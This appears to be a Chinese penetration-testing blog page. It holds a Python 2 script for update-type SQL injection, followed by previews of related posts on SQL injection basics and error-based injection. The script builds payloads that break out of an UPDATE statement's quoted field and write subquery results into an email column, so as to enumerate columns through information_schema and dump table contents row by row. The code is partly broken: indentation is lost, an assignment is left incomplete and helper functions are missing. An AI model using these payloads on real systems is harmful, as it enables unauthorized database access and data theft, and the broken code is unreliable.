參考實驗:
sqlupdateattack.py
#!/usr/bin/python
# -*- coding: utf-8 -*-
import htmlparser
import urlparse
import urllib
import urllib2
import cookielib
import string
import binascii
import re
import time
#擷取字串中startstr,endstr中間的值
def getmiddlestr(content,startstr,endstr):
patternstr = r'%s(.+?)%s'%(startstr,endstr)
p = re.compile(patternstr,re.s)
m= re.search(p,content)
if m:
return m.group(1)
#跑錶數量
def count(table_name,mode):
if mode==0:
tn16=binascii.b2a_hex(table_name.encode("utf8"))
sql_count='1.1.1.1\',email=(select count(column_name) from information_schema.columns where table_name=0x'+tn16+' and table_schema=database()) where username=\'admin\'#'
else:
if table_name=='testuser':
sql_count='1.1.1.1\',email=(select count(*) from ( select * from testuser) as x) where username=\'admin\'#'
else:
sql_count='1.1.1.1\',email=(select count(*) from '+table_name+') where username=\'admin\'#'
return sql_count
#跑錶的列名用到的sql注入語句
def sql_column(table_name,num):
tn16=binascii.b2a_hex(table_name.encode("utf8"))
sql_column='1.1.1.1\',email=(select column_name from information_schema.columns where table_name=0x'+tn16+' limit '+str(num)+',1 ) where username=\'admin\'#'
return sql_column
#跑錶的內容
def sql_data(table_name,column,num):
sql_data='1.1.1.1\',email=(select '+column+' from '+table_name+' order by id limit '+str(num)+',1) where username=\'admin\'#'
return sql_data
#跑錶的內容(與update所用表(即演示中的testuser表)衝突使用)
def sql_users(column,num):
sql_users='1.1.1.1\',email=(select '+column+' from ( select * from testuser) as x order by id limit '+str(num)+',1) where username=\'admin\'#'
return sql_users
#注入,先模擬登陸後擷取結果並寫入檔案
#先跑錶的各欄位名,並存放到臨時的column_name中
column_name=
for table in table_name:
sql_count=inject(posturl,count(table,0))
print table+":\r\n"
for num in range(int(sql_count)):
sql=sql_column(table,num)
try:
m=inject(posturl,sql)
except typeerror:
print 'error'
print column_name
#跑對應的資料
for column in column_name:
print table+"|||"+column+":"
for num in range(int(inject(posturl,count(table,1)))):
if table=='testuser':
sql=sql_users(column,num)
else:
sql=sql_data(table,column,num)
m=inject(posturl,sql)
print m
print "\n"
滲透測試之Update型注入學習筆記
參考實驗 sqlupdateattack.py usr bin python coding utf 8 import htmlparser import urlparse import urllib import urllib2 import cookielib import string impo...
滲透測試基礎之sql注入
1 什麼是sql注入?sql注入攻擊是通過將惡意的sql查詢或新增語句插入到應用的輸入引數中,再在後台sql伺服器上解析執行進行的攻擊,它目前是黑客對資料庫進行攻擊的最常用的手段之一。2 sql注入能帶來的威脅?猜解後台資料庫,這是利用最多的方式,盜取 的敏感資訊。繞過認證,列如繞過驗證登入 後台。...
滲透測試 報錯注入
由於後台沒有對資料庫的資訊做過濾,會輸出到前台顯示,那麼我們就可以通過製造報錯函式,將查詢語句帶入到資料庫中,以報錯資訊顯示出來。1 引數使用者可控 前端傳入的引數內容由使用者控制 2 引數帶入資料庫的查詢 傳入的引數拼接到 sql 語句,並且帶入資料庫的查詢 3 對使用者輸入的資料沒有做合法性的判...